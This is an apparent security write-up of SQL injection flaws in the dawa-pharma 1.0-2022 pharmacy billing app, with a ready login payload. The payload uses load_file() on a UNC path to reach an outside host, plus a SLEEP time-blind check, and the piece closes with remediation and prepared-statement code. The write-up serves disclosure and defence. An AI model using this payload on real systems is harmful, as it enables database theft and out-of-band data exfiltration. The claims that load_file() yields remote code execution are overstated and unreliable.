dawa-pharma 1.0-2022 - Multiple-SQLi

Exploiting Multiple SQL Injection Vulnerabilities in dawa-pharma 1.0-2022: A Deep Dive into Real-World Cybersecurity Risks

Recent findings by cybersecurity researcher nu11secur1ty have exposed critical SQL injection flaws in dawa-pharma 1.0-2022, a pharmacy billing software developed by MayuriK. This vulnerability, identified as Multiple-SQLi, demonstrates how improper input validation in web applications can lead to full database compromise, exposing sensitive client data and enabling remote code execution via MySQL’s load_file() function.

Understanding the Attack Surface: The Email Parameter

The primary attack vector lies in the email parameter within a POST request used for user authentication. When users submit their credentials, the application processes the email field without proper sanitization or parameterized queries, creating a perfect entry point for malicious SQL injection.

Attackers can leverage this weakness to inject arbitrary SQL commands, bypassing authentication, retrieving confidential data, or even initiating network interactions with external domains. This is particularly dangerous because the application not only executes the injected query but also interacts with an external domain—a clear sign of command execution.

Real-World Exploit: Leveraging MySQL’s load_file() Function

One of the most alarming payloads discovered is:

email=mayuri.infospace@gmail.com'+(select load_file('\\\\ke2v0nog1ghmfe276ddp7smbi2ovcm7aydm59vxk.tupaputka.com\\lhc'))+'' AND (SELECT 4515 FROM (SELECT(SLEEP(15)))KUth)-- VRdC&password=mayurik&login=

This payload is crafted to exploit MySQL’s load_file() function, which allows reading files from the server’s filesystem. The UNC path format \\\\ke2v0nog1ghmfe276ddp7smbi2ovcm7aydm59vxk.tupaputka.com\\lhc is used to reference a remote file hosted on an external domain.

Here’s how it works:

• SQL Injection: The email parameter is concatenated with a subquery, bypassing input validation.
• load_file(): MySQL attempts to load the file at the specified UNC path, which is interpreted as a network resource.
• Time-Based Blind Injection: The SLEEP(15) function delays the response by 15 seconds, confirming the query was executed.
• External Domain Interaction: The server attempts to resolve and access tupaputka.com, indicating that the injected SQL command executed successfully.

This demonstrates that the application is not only vulnerable to SQL injection but also capable of executing commands that reach outside the local environment—making it a potential vector for data exfiltration and remote command execution.

Implications of the Vulnerability

Exploiting this flaw can result in:

• Database Disclosure: Full access to client records, prescriptions, billing history, and personal identifiers.
• Authentication Bypass: Attackers can log in as any user without knowing the password.
• Remote File Access: The load_file() function can be used to read sensitive configuration files, password hashes, or even server-side scripts.
• Server-to-Server Communication: The interaction with tupaputka.com shows that the server can be used as a proxy to exfiltrate data or trigger remote actions.

For a pharmacy management system, this is catastrophic. Patient privacy, financial data, and regulatory compliance (e.g., HIPAA, GDPR) are at risk.

Technical Analysis: Types of SQL Injection Detected

The vulnerability exhibits two distinct attack types:

Type	Attack Mechanism	Indicator
Boolean-Based Blind	Uses OR conditions to test truth values (e.g., 5305=5305)	Response changes based on query outcome
Time-Based Blind	Uses SLEEP() to delay responses	Response time increases by 15 seconds

Both methods confirm that the SQL query is being executed and interpreted by the backend database, validating the presence of a persistent SQL injection vulnerability.

Why This Is Dangerous: The Role of load_file()

MySQL’s load_file() function is inherently dangerous when exposed to untrusted input. It allows reading files from the server’s filesystem, including:

• Configuration files (e.g., config.php, database.ini)
• Log files containing sensitive user activity
• Encrypted password storage or backup files
• Server-side scripts or API keys

By leveraging a UNC path with an external domain, attackers can effectively turn the database into a remote file reader—bypassing traditional firewall and network security controls.

Recommendations for Remediation

For system administrators and penetration testers, immediate action is required:

• Input Sanitization: Validate and sanitize all user inputs, especially email, username, and password fields.
• Use Parameterized Queries: Replace raw SQL with prepared statements to prevent injection.
• Disable load_file(): Restrict or disable the load_file() function in production environments.
• Implement Web Application Firewalls (WAF): Use tools like ModSecurity or Cloudflare WAF to detect and block SQL injection attempts.
• Regular Penetration Testing: Conduct automated and manual testing to identify vulnerabilities before they are exploited.

Example of Secure Code Implementation

Instead of directly using user input in SQL queries, use prepared statements. Here’s a secure PHP example:

$pdo = new PDO("mysql:host=localhost;dbname=dawa_pharma", "user", "password");
$stmt = $pdo->prepare("SELECT * FROM users WHERE email = ? AND password = ?");
$stmt->execute([$email, $password]);

This approach prevents SQL injection by separating data from code. The database engine treats the input as data, not executable SQL.

Conclusion: Lessons from dawa-pharma 1.0-2022

The dawa-pharma 1.0-2022 vulnerability serves as a stark reminder of the dangers of inadequate input validation in web applications. Even seemingly harmless fields like email can become critical attack vectors when poorly secured.

As cybersecurity professionals, we must treat every user input as potentially malicious. Implementing defense-in-depth strategies—input validation, parameterized queries, WAFs, and regular testing—is essential to protect sensitive data and maintain trust in digital systems.

For developers and administrators, this case study highlights the need for continuous security awareness and proactive vulnerability management. The cost of neglecting such flaws can be far greater than the effort to fix them.